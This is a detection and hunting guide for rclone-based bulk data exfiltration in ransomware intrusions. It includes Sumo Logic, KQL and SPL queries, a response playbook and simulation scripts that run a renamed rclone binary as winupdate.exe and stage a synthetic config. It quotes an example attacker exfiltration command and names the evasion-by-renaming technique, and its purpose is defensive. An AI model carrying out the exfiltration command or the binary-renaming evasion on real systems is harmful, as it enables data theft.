Detect Automated Bulk Data Exfiltration via rclone Cloud-Sync Tooling in Sumo Logic CSE
rclone is a legitimate, widely-used open-source command-line tool for syncing files to more than 40 cloud storage backends (Mega, pCloud, Backblaze B2, Dropbox, S3-compatible endpoints, WebDAV, SFTP). Its portability, single-binary distribution, and broad backend support have made it the exfiltration tool of choice for ransomware affiliates during the double-extortion phase of an intrusion: rather than manually uploading files one at a time, the operator drops rclone (often renamed to blend in — svchost.exe, winupdate.exe, or similar), stages an attacker-authored rclone.conf pointing at a throwaway cloud account, and issues a single scripted command such as `rclone copy C:\staged\ remote:bucket --transfers=32 --multi-thread-streams=4` against previously staged data. From that point the entire transfer proceeds automatically with no further operator interaction — the defining trait of MITRE ATT&CK T1020 (Automated Exfiltration), which describes exfiltration performed automatically after data has been collected/staged, as distinct from T1029 (Scheduled Transfer, a recurring cron/task-scheduler-driven pattern already covered elsewhere in this corpus) and distinct from cloud control-plane grant abuse (T1537, where data is transferred by re-permissioning a victim-owned cloud resource rather than pushing bytes through a client tool). Conti, LockBit affiliates, BlackCat/ALPHV affiliates, and Cl0p have all been widely documented using rclone in this exact pattern immediately prior to ransomware deployment, making its appearance on an endpoint — especially a server or file share host with no legitimate business reason to run cloud-sync software — a high-confidence precursor to both data leak and imminent encryption.
MITRE ATT&CK
- Tactic
- Exfiltration
Sumo Detection Query
_sourceCategory=endpoint/process
| parse "host=*," as host nodrop
| parse "CommandLine=*," as command_line nodrop
| parse "OriginalFileName=*," as original_file_name nodrop
| where original_file_name matches "rclone.exe" or command_line matches "*rclone.conf*" or command_line matches "*--multi-thread-streams*" or command_line matches "*--transfers*"
| count as ExecutionCount by host, command_line
| sort by ExecutionCount descSumo Logic query over endpoint process-creation logs matching on the PE OriginalFileName field or rclone-specific command-line flags, surfacing renamed-binary executions that a filename-only match would miss.
Data Sources
Required Tables
False Positives & Tuning
- IT/backup teams intentionally using rclone for legitimate cloud-storage synchronization or migration
- DevOps automation publishing build artifacts to an approved cloud storage bucket
- Power users syncing personal cloud storage on a workstation where local software policy permits it
Other platforms for THREAT-Rclone-AutomatedCloudSync
Testing Methodology
Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1Simulated Renamed rclone Binary Execution with Transfer Flags
Expected signal: Sysmon Event ID 1 / DeviceProcessEvents: winupdate.exe executing with ProcessVersionInfoOriginalFileName='rclone.exe' and a command line containing 'copy', 'remote:', '--multi-thread-streams', and '--transfers'.
- Test 2Simulated rclone.conf Creation
Expected signal: Sysmon Event ID 11 (FileCreate) / DeviceFileEvents: rclone.conf created under %APPDATA%\rclone\ by powershell.exe.
- Test 3Bulk File Staging Followed by Sustained Cloud-Provider Connection
Expected signal: File creation events for the staged archive under /tmp, followed within seconds by five outbound network connection events (Sysmon-for-Linux Event ID 3 / auditd) from curl to the test endpoint.
Response Playbook
Triage
- Confirm whether rclone (or a process whose PE original-filename metadata identifies it as rclone) is a documented, approved tool on this host — check against an internal inventory of authorized backup/sync software and the destination remote name against approved cloud accounts.
- If unrecognized, check the binary's location, hash, and signature — ransomware-affiliate rclone drops typically land in %TEMP%, %ProgramData%, or a newly created directory on a file share or backup server, not a standard install path.
- Retrieve the associated rclone.conf (often dropped alongside the binary or under %APPDATA%\rclone\) to identify the destination remote type (Mega, pCloud, Backblaze B2, SFTP) and any embedded credentials — these are directly reusable for takedown/legal requests against the destination provider.
- Correlate with file-staging activity (DeviceFileEvents / Sysmon Event ID 11) in the hours preceding execution — ransomware operators typically archive or copy target data to a staging directory immediately before running rclone against it.
- Check process ancestry: rclone launched by a remote-access tool (Cobalt Strike beacon, AnyDesk, a PsExec-spawned shell) rather than an interactive console session strongly indicates an intrusion in the ransomware pre-encryption phase rather than legitimate IT use.
- If the transfer appears complete (process exited normally after a sustained run), assume the staged dataset has left the environment — rclone's default behavior is a full synchronous copy with no partial-completion ambiguity for a normally-exiting process.
Containment
- Isolate the affected host via EDR network isolation immediately — rclone execution on a server or file-share host with no legitimate business use is a strong precursor signal for imminent ransomware deployment, not just data theft.
- Block the destination cloud provider's known endpoints (Mega.nz, pCloud, Backblaze B2, or the specific SFTP/WebDAV host from the recovered rclone.conf) at the perimeter firewall.
- Kill the rclone process tree if the transfer is still in progress, and preserve the process memory/command line before termination for forensic review.
- Hunt across the environment for the same binary hash, rclone.conf destination, or parent-process pattern on other hosts — affiliates typically stage from multiple hosts in a short window before detonating ransomware.
- Treat this as an active-intrusion, not a policy-violation, incident: engage incident response and assume ransomware deployment is imminent unless proven otherwise.
Evidence Collection
- The rclone binary itself (hash, PE metadata, original filename) and its recovered rclone.conf configuration file, including the destination remote type and any embedded credentials.
- Full process creation record (Sysmon Event ID 1 / DeviceProcessEvents) including command line, parent process, and account context.
- File-staging artifacts (archive files, copied directories) created in the hours preceding rclone execution, to scope exactly what data was targeted.
- Network connection records (Sysmon Event ID 3 / DeviceNetworkEvents) for the destination cloud provider's IP ranges, to establish transfer duration and approximate volume.
- Any remote-access tooling (C2 beacon, RMM software) found in the process ancestry, for broader intrusion timeline reconstruction.
Escalation Criteria
- !rclone (or a renamed equivalent) is found executing on a domain controller, backup server, or any host holding bulk sensitive data — escalate to incident response as a likely pre-ransomware staging event.
- !The recovered rclone.conf destination or credential pattern matches known ransomware-affiliate infrastructure.
- !Process ancestry shows rclone launched from a remote-access tool or living-off-the-land binary chain consistent with an active intrusion rather than IT automation.
- !The same rclone execution pattern appears across multiple hosts within a short window — treat as organization-wide compromise requiring immediate leadership notification given the near-certain ransomware follow-on.
Investigation Guide
Related Techniques
Forensic Artifacts
- >
Sysmon Event ID 1 (Process Creation) / DeviceProcessEvents for the rclone execution, including PE original-filename metadata for renamed binaries. - >
The rclone.conf configuration file (typically under %APPDATA%\rclone\ or alongside the binary), containing the destination remote type and credentials. - >
Sysmon Event ID 3 (Network Connection) / DeviceNetworkEvents for the sustained outbound connection to the cloud provider's endpoint during the transfer. - >
File staging artifacts (archives, copied directories) created shortly before rclone execution. - >
Prefetch and Shimcache entries for the rclone binary, useful for establishing first-execution time even if the binary has since been deleted.
Tuning Guidance
Build and maintain an inventory of hosts and service accounts with a legitimate, documented need to run rclone (backup automation, DevOps artifact publishing) and exclude them by host name plus destination remote name — excluding by process name alone is insufficient since the binary is frequently renamed. Prioritize this detection heavily on server-class assets (file shares, backup servers, domain controllers) where legitimate rclone use is rare and the technique's association with imminent ransomware deployment is highest; on general workstations where personal cloud-sync use may be tolerated by policy, treat matches as lower urgency but still worth reviewing. The PE original-filename check (ProcessVersionInfoOriginalFileName / Sysmon OriginalFileName) is the highest-value single field in this pack since it survives the near-universal renaming operators apply to evade name-based detection.
Hunting Queries
Hunts directly for creation of the rclone.conf configuration file, independent of process-creation logging — useful when process telemetry has gaps but file-creation auditing is intact, since the config file is a required artifact for any rclone remote-based transfer.
// Hunt for rclone.conf file creation events, independent of process execution telemetry — catches cases where process logging is incomplete
DeviceFileEvents
| where Timestamp > ago(14d)
| where FileName =~ "rclone.conf"
| project Timestamp, DeviceName, InitiatingProcessAccountName, InitiatingProcessFileName, FolderPath
| sort by Timestamp descindex=sysmon EventCode=11 TargetFilename="*rclone.conf"
| table _time, host, user, process_name, TargetFilename
| sort - _timeHunts for sustained connection volume to cloud providers commonly used as rclone exfiltration destinations (Mega, pCloud, Backblaze B2), surfaced by process rather than by binary name to catch renamed or previously-unseen rclone drops.
// Hunt for sustained, high-volume outbound connections to known rclone-favored cloud provider IP ranges from server-class hosts
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where RemoteUrl has_any (dynamic(["mega.nz", "pcloud.com", "backblazeb2.com", "b2.backblazeb2.com"]))
| summarize ConnectionCount = count(), TotalDurationProxy = count(), FirstSeen = min(Timestamp), LastSeen = max(Timestamp) by DeviceName, InitiatingProcessFileName
| where ConnectionCount >= 5
| sort by ConnectionCount descindex=proxy OR index=web (url="*mega.nz*" OR url="*pcloud.com*" OR url="*backblazeb2.com*")
| stats count as ConnectionCount by host, process_name
| where ConnectionCount>=5
| sort - ConnectionCountAtomic Red Team Tests
Simulates a ransomware affiliate's rclone staging step by copying a real rclone binary under a benign-sounding renamed filename and executing it with typical transfer flags against a local test directory, validating that PE original-filename detection catches the binary regardless of its on-disk name.
Command
$TestDir = "$env:TEMP\atomic_rclone_test"
New-Item -ItemType Directory -Path $TestDir -Force | Out-Null
# Note: requires a real rclone.exe placed at $TestDir\rclone.exe for PE metadata to be authentic; substitute a copy of powershell.exe if rclone is unavailable for a command-line-only validation of this atomic test.
if (Test-Path "$TestDir\rclone.exe") {
& "$TestDir\rclone.exe" --version | Out-Null
Copy-Item "$TestDir\rclone.exe" "$TestDir\winupdate.exe" -Force
Start-Process -FilePath "$TestDir\winupdate.exe" -ArgumentList "copy", "$TestDir", "remote:test-bucket", "--multi-thread-streams=4", "--transfers=8", "--config", "$TestDir\rclone.conf" -NoNewWindow -Wait -ErrorAction SilentlyContinue
}
Write-Host 'Atomic test complete: renamed rclone execution with transfer flags simulated'Cleanup
Remove-Item "$env:TEMP\atomic_rclone_test" -Recurse -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon Event ID 1 / DeviceProcessEvents: winupdate.exe executing with ProcessVersionInfoOriginalFileName='rclone.exe' and a command line containing 'copy', 'remote:', '--multi-thread-streams', and '--transfers'.
Expected Detection
KQL/SPL detection flags the execution based on ProcessVersionInfoOriginalFileName/OriginalFileName matching rclone.exe despite the renamed on-disk filename, and independently on the command-line rclone indicators.
Simulates the configuration-staging step of an rclone-based exfiltration by writing a synthetic rclone.conf file containing a fake remote definition, validating the file-creation hunting query independent of process-execution telemetry.
Command
$ConfigDir = "$env:APPDATA\rclone"
New-Item -ItemType Directory -Path $ConfigDir -Force | Out-Null
@"
[test-remote]
type = webdav
url = https://127.0.0.1:8443/dav
vendor = other
user = atomictest
pass = synthetic-$(Get-Random)
"@ | Out-File -FilePath "$ConfigDir\rclone.conf" -Encoding ascii
Write-Host 'Atomic test complete: synthetic rclone.conf created'Cleanup
Remove-Item "$env:APPDATA\rclone\rclone.conf" -Force -ErrorAction SilentlyContinueExpected Telemetry
Sysmon Event ID 11 (FileCreate) / DeviceFileEvents: rclone.conf created under %APPDATA%\rclone\ by powershell.exe.
Expected Detection
The rclone.conf file-creation hunting query flags the new configuration file independent of any process-execution telemetry gap.
Simulates the staging-then-transfer pattern by creating a synthetic archive and then opening a sustained set of connections resembling traffic to an rclone-favored cloud provider, validating the file-staging correlation and connection-volume hunting query on Linux server-class hosts.
Command
mkdir -p /tmp/atomic_rclone_stage && for i in $(seq 1 5); do echo "synthetic-data-$i" > /tmp/atomic_rclone_stage/file_$i.txt; done
tar -czf /tmp/atomic_rclone_stage.tar.gz -C /tmp/atomic_rclone_stage .
for i in $(seq 1 5); do curl -s -k -m 3 https://127.0.0.1:8443/ -o /dev/null || true; done
echo 'Atomic test complete: staged archive followed by simulated sustained cloud-provider connections'Cleanup
rm -rf /tmp/atomic_rclone_stage /tmp/atomic_rclone_stage.tar.gzExpected Telemetry
File creation events for the staged archive under /tmp, followed within seconds by five outbound network connection events (Sysmon-for-Linux Event ID 3 / auditd) from curl to the test endpoint.
Expected Detection
The sustained-connection-volume hunting query flags the repeated outbound connections; the file-staging triage step correlates the archive creation immediately preceding the connection burst.